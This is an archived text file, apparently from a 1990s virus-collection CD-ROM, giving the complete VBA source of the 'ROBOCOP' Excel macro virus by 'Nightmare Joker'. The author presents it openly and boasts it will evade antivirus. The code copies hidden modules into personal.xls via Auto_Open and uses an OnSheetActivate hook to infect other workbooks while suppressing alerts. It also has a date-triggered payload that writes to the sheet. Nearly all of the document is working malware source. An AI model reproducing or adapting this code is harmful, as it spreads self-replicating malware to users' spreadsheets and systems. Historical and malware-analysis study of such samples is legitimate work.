home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / ROBOCOP.ZIP / ROBOCSRC.TXT < prev   
Text File  |  1997-01-06  |  6KB  |  173 lines
  1. [ ExcelMacro. ROBOCOP ]────────────────────────────────────────────────────────────
  2.  
  3. ■ VIRUSNAME:      ROBOCOP
  4. ■ ORIGIN:         Germany
  5. ■ AUTHOR:         Nightmare Joker
  6.  
  7. Yeah, I've written my first excel macro virus.
  8. Here is the source code. I hope you like it.
  9.  
  10. Macroname: ROBOCOP
  11. ~~~~~~~~~~~~~~~~~~
  12. Sub ROBOCOP()
  13.     gp = 0
  14.     vp = 0
  15.     
  16.     Set a = Application.ActiveWorkbook
  17.     
  18.     Application.ScreenUpdating = False
  19.     For x = 1 To Application.Workbooks.Count
  20.         If Application.Workbooks(x).Name = a.Name Then
  21.             gp = 1
  22.             For y = 1 To Application.Workbooks(a.Name).Modules.Count
  23.             If Application.Workbooks(a.Name).Modules(y).Name = "ROBO" Then
  24.                 vp = 1
  25.             End If
  26.         Next
  27.         
  28.         If vp = 0 Then
  29.             Windows(a.Name).Visible = True
  30.             
  31.             ActiveWorkbook.Modules.Add
  32.             Application.Workbooks("personal.xls").Modules("ROBO").Copy _
  33.             after:=ActiveWorkbook.Modules(1)
  34.                
  35.             ActiveWorkbook.Modules.Add
  36.             Application.Workbooks("personal.xls").Modules("COP").Copy _
  37.             after:=ActiveWorkbook.Modules(2)
  38.             
  39.             Application.DisplayAlerts = False
  40.             Sheets("Modul1").Select
  41.             ActiveWindow.SelectedSheets.Delete
  42.             
  43.             Sheets("Modul2").Select
  44.             ActiveWindow.SelectedSheets.Delete
  45.             Application.DisplayAlerts = True
  46.             
  47.             Sheets("COP").Select
  48.             ActiveWindow.SelectedSheets.Visible = False
  49.             
  50.             Sheets("ROBO").Select
  51.             ActiveWindow.SelectedSheets.Visible = False
  52.             
  53.             Windows(a.Name).Visible = True
  54.             Application.ActiveWorkbook.Save
  55.         End If
  56.         End If
  57.     Next
  58.     
  59.     Application.ScreenUpdating = True
  60.     Application.Workbooks(a.Name).Save
  61. End Sub
  62.  
  63. *****************************************************************************
  64.                            END OF MACRO "ROBOCOP"
  65. *****************************************************************************
  66.  
  67. Macroname: Auto_Open
  68. ~~~~~~~~~~~~~~~~~~~~
  69. Sub Auto_Open()
  70. Dim v%, p%
  71.     
  72.     gp = 0
  73.     vp = 0
  74.    
  75.     Application.ScreenUpdating = False
  76.     For x = 1 To Application.Workbooks.Count
  77.         If Application.Workbooks(x).Name = "personal.xls" Then
  78.             gp = 1
  79.             For y = 1 To Application.Workbooks("personal.xls").Modules.Count
  80.             If Application.Workbooks("personal.xls").Modules(y).Name = "ROBO" Then
  81.                 vp = 1
  82.             End If
  83.         Next
  84.         
  85.         If vp = 0 Then
  86.             Windows("personal.xls").Visible = True
  87.             Set a = Application.ActiveWorkbook
  88.             Application.Workbooks(a.Name).Modules("ROBO").Copy after:=Application.Workbooks("personal.xls").Modules(1)
  89.             Application.Workbooks(a.Name).Modules("COP").Copy after:=Application.Workbooks("personal.xls").Modules(1)
  90.             
  91.             Sheets("COP").Select
  92.             ActiveWindow.SelectedSheets.Visible = False
  93.             
  94.             Sheets("ROBO").Select
  95.             ActiveWindow.SelectedSheets.Visible = False
  96.             
  97.             Windows("personal.xls").Visible = False
  98.             Application.OnSheetActivate = ActiveWorkbook.Name & "!COP.ROBOCOP"
  99.             Application.Workbooks("personal.xls").Save
  100.         End If
  101.         End If
  102.     Next
  103.         If gp = 0 Then
  104.         Set a = Application.ActiveWorkbook
  105.         Application.Workbooks(a.Name).SaveCopyAs Application.StartupPath + "\personal.xls"
  106.         Application.Workbooks.Open (Application.StartupPath + "\personal.xls")
  107.         Windows("personal.xls").Visible = False
  108.         Application.Workbooks("personal.xls").Save
  109.         End If
  110.     Application.ScreenUpdating = True
  111.     
  112. 'nice harmless Payload.
  113.  
  114. d = Day(v)
  115. m = Month(p)
  116. If d = 30 And m = 12 Then
  117.     Selection.RowHeight = 100
  118.     Selection.ColumnWidth = 255
  119.     Range("A3").Select
  120.     With Selection.Font
  121.         .Name = "Imprint MT Shadow"
  122.         .Size = 24
  123.         .Strikethrough = False
  124.         .Superscript = False
  125.         .Subscript = False
  126.         .OutlineFont = False
  127.         .Shadow = False
  128.         .Underline = xlNone
  129.         .ColorIndex = xlAutomatic
  130.     End With
  131.     Range("A3").Select
  132.     ActiveCell.FormulaR1C1 = "ROBOCOP Nightmare Joker [SLAM]"
  133.     With ActiveCell.Characters(Start:=1, Length:=8).Font
  134.         .Name = "Imprint MT Shadow"
  135.         .FontStyle = "Standard"
  136.         .Size = 48
  137.         .Strikethrough = False
  138.         .Superscript = False
  139.         .Subscript = False
  140.         .OutlineFont = False
  141.         .Shadow = False
  142.         .Underline = xlNone
  143.         .ColorIndex = xlAutomatic
  144.     End With
  145.     With ActiveCell.Characters(Start:=9, Length:=22).Font
  146.         .Name = "Imprint MT Shadow"
  147.         .FontStyle = "Standard"
  148.         .Size = 20
  149.         .Strikethrough = False
  150.         .Superscript = False
  151.         .Subscript = False
  152.         .OutlineFont = False
  153.         .Shadow = False
  154.         .Underline = xlNone
  155.         .ColorIndex = xlAutomatic
  156.     End With
  157.     Range("A2").Select
  158. Else
  159.     '...
  160. End If
  161.  
  162. Application.OnSheetActivate = Workbooks("personal.xls").Name & "!COP.ROBOCOP"
  163.     
  164. End Sub
  165.  
  166. *****************************************************************************
  167.                         END OF MACRO "Auto_Open"
  168. *****************************************************************************
  169.  
  170. I think no AV Scanner will find it! ;-)))
  171.  
  172. -Nightmare Joker
  173.